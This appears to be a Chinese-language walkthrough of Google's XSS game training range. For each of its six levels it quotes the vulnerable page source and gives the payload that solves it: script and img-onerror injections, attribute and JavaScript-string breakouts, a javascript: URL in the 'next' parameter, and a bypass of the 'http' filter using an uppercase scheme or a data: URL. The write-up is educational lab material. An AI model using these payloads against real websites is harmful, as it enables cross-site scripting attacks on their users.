Google XSS game
这是谷歌的XSS靶场,每一关的过关条件是能够弹出alert()即可。
地址:https://xss-game.appspot.com/ (需要科学上网)
Level 1
这是一个反射型XSS,直接输入最基本的XSS代码即可:
<script>alert(/xss/)</script>
Level 2
留言板应用,显然是一个存储型XSS,尝试<script>
标签无果,尝试使用<img>
标签:
<img src=x onerror=alert(/xss/)>
Level 3
这是一个页面嵌套,没有可见的可以利用的点,只能从源码入手
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
window.onload = function() {
chooseTab(unescape(self.location.hash.substr(1)) || "1");
}
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(unescape(self.location.hash.substr(1)));
}
}, false);
</script>
- 函数解释
parseInt():parseInt() 函数可解析一个字符串,并返回一个整数。
unescape():对通过 escape() 编码的字符串进行解码。
querySelectorAll():返回文档中匹配指定 CSS 选择器的所有元素,返回 NodeList 对象。NodeList 对象表示节点的集合。可以通过索引访问,索引值从 0 开始。
location.hash :hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。也就是说,他的作用是把URL的#
以及#
后面的数据取出来,
window.onload():方法用于在网页加载完毕后立刻执行的操作,即当 HTML 文档加载完毕后,立刻执行某个方法。
element.addEventListener(event, function, useCapture):方法用于向指定元素添加事件句柄。第一个参数是事件的类型 (如 “click” 或 “mousedown”)。第二个参数是事件触发后调用的函数。第三个参数是个布尔值用于描述事件是冒泡还是捕获。该参数是可选的。
html():方法设置或返回被选元素的内容(innerHTML)。当该方法用于返回内容时,则返回第一个匹配元素的内容。当该方法用于设置内容时,则重写所有匹配元素的内容。
- 利用方法
我们知道页面会调用chooseTab函数,将url中#后面的字符串做为参数传入。我们需要构造一个字符串,使img标签加载的时候执行我们的代码。这里我们可以把 src 截断,这样他的图片肯定会报错,然后添加一个 onerror 事件执行alert(),最后还要把 img 标签后面的 >
补齐
' onerror=alert()>
Level 4
- 查看源码
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
</html>
当我们在 index.html 页面输入时间后,就会把timer
参数传递到 timer.html 页面中,在onload时间时就会触发startTimer函数,我们可以从这个onload事件进行利用,把前一句话闭合,加上自己构造的语句,最后还要把后面的给注释掉,这就是dom xss的利用方法:
');alert();//
Level 5
这里有3个页面,分别是welcome,注册和确定
- 查看源码
- welcome.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
Welcome! Today we are announcing the much anticipated<br><br>
<img src="/static/logos/level5.png" /><br><br>
<a href="/level5/frame/signup?next=confirm">Sign up</a>
for an exclusive Beta.
</body>
</html>
这里可以看到,下面的a标签的链接带了一个next
参数到signup页面
- signup.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="{{ next }}">Next >></a>
</body>
</html>
在signup页面把welcome页面传过来的next
参数直接解析放到了下面的a标签的链接中
- 利用方法
我们可以直接在next
参数中构造攻击语句,当用户点击a标签的时候该语句就能被执行
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert()
Level 6
- 查看源码
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
</head>
<body id="level6">
<img src="/static/logos/level6.png">
<img id="cube" src="/static/level6_cube.png">
<div id="log">Loading gadget...</div>
</body>
</html>
题目说得很清楚,利用外部js脚本执行alert()。但是对参数做了过滤,不能输入带有http://
开头的参数,这里可以利用大小绕过:
Https://www.google.com/jsapi?callback=alert
也可以利用data类型的url代替http://
data:text,alert()